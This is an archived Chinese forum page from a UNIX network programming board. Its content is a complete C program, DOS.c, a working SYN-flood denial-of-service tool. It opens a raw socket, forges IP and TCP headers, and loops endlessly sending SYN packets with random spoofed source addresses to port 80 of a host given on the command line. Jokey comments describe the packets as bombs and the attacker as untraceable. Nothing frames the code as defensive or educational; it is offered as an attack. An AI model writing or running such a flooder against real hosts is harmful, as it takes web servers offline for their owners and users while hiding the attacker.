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<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
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<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="309.htm">上一层</a>][<a href="353.htm">下一篇</a>]
<hr><p align="left"><small>/******************** DOS.c *****************/ <br>
#include <sys/socket.h> <br>
#include <netinet/in.h> <br>
#include <netinet/ip.h> <br>
#include <netinet/tcp.h> <br>
#include <stdlib.h> <br>
#include <errno.h> <br>
#include <unistd.h> <br>
#include <stdio.h> <br>
#include <netdb.h> <br>
#define DESTPORT 80 /* 要攻击的端口(WEB) */ <br>
#define LOCALPORT 8888 <br>
void send_tcp(int sockfd, struct sockaddr_in *addr); <br>
unsigned short check_sum(unsigned short *addr, int len); <br>
int main(int argc, char **argv) <br>
{ <br>
int sockfd; <br>
struct sockaddr_in addr; <br>
struct hostent *host; <br>
int on = 1; <br>
if (argc != 2) { <br>
fprintf(stderr, "Usage:%s hostname\n\a", argv[0]); <br>
exit(1); <br>
exit(1); <br>
} <br>
bzero(&addr, sizeof(struct sockaddr_in)); <br>
addr.sin_family = AF_INET; <br>
addr.sin_port = htons(DESTPORT); <br>
if (inet_aton(argv[1], &addr.sin_addr) == 0) { <br>
host = gethostbyname(argv[1]); <br>
if (host == NULL) { <br>
fprintf(stderr, "HostName Error:%s\n\a", hstrerror(h_errno)); <br>
exit(1); <br>
} <br>
addr.sin_addr = *(struct in_addr *) (host->h_addr_list[0]); <br>
} <br>
/**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/ <br>
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); <br>
if (sockfd < 0) { <br>
fprintf(stderr, "Socket Error:%s\n\a", strerror(errno)); <br>
exit(1); <br>
} <br>
/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/ <br>
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)); <br>
/**** 没有办法,只用超级护用户才可以使用原始套接字 *********/ <br>
setuid(getpid()); <br>
/********* 发送炸弹了!!!! ****/ <br>
send_tcp(sockfd, &addr); <br>
} <br>
/******* 发送炸弹的实现 *********/ <br>
void send_tcp(int sockfd, struct sockaddr_in *addr) <br>
{ <br>
char buffer[100] = "dos, dos, dos..."; <br>
/**** 用来放置我们的数据包 ****/ <br>
struct ip *ip; <br>
struct tcphdr *tcp; <br>
int head_len; <br>
/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/ <br>
head_len = sizeof(struct ip) + sizeof(struct tcphdr); <br>
/* bzero(buffer, 100);*/ <br>
/******** 填充IP数据包的头部,还记得IP的头格式吗? ******/ <br>
ip = (struct ip *) buffer; <br>
ip->ip_v = IPVERSION; <br>
/** 版本一般的是 4 **/ <br>
ip->ip_hl = sizeof(struct ip) >> 2; <br>
/** IP数据包的头部长度 **/ <br>
ip->ip_tos = 0; <br>
/** 服务类型 **/ <br>
ip->ip_len = htons(head_len); <br>
/** IP数据包的长度 **/ <br>
ip->ip_id = 0; <br>
/** 让系统去填写吧 **/ <br>
ip->ip_off = 0; <br>
/** 和上面一样,省点时间 **/ <br>
ip->ip_ttl = MAXTTL; <br>
/** 最长的时间 255 **/ <br>
ip->ip_p = IPPROTO_TCP; <br>
/** 我们要发的是 TCP包 **/ <br>
ip->ip_sum = 0; <br>
/** 校验和让系统去做 **/ <br>
ip->ip_dst = addr->sin_addr; <br>
/** 我们攻击的对象 **/ <br>
/******* 开始填写TCP数据包 *****/ <br>
tcp = (struct tcphdr *) (buffer + sizeof(struct ip)); <br>
tcp->source = htons(LOCALPORT); <br>
tcp->dest = addr->sin_port; <br>
/** 目的端口 **/ <br>
tcp->seq = random(); <br>
tcp->ack_seq = 0; <br>
tcp->doff = 5; <br>
tcp->doff = 5; <br>
tcp->syn = 1; <br>
/** 我要建立连接 **/ <br>
tcp->check = 0; <br>
/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/ <br>
while (1) { <br>
/** 你不知道我是从那里来的,慢慢的去等吧! **/ <br>
ip->ip_src.s_addr = random(); <br>
/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */ <br>
/** 下面这条可有可无 */ <br>
tcp->check = check_sum((unsigned short *) tcp, <br>
sizeof(struct tcphdr)); <br>
sendto(sockfd, buffer, head_len, 0, addr, sizeof(struct sockaddr_in)); <br>
usleep(8); <br>
} <br>
} <br>
/* 下面是首部校验和的算法,偷了别人的 */ <br>
unsigned short check_sum(unsigned short *addr, int len) <br>
{ <br>
register int nleft = len; <br>
register int sum = 0; <br>
register short *w = addr; <br>
short answer = 0; <br>
while (nleft > 1) { <br>
sum += *w++; <br>
nleft -= 2; <br>
} <br>
if (nleft == 1) { <br>
*(unsigned char *) (&answer) = *(unsigned char *) w; <br>
sum += answer; <br>
} <br>
sum = (sum >> 16) + (sum & 0xffff); <br>
sum += (sum >> 16); <br>
answer = ~sum; <br>
return (answer); <br>
} <br>
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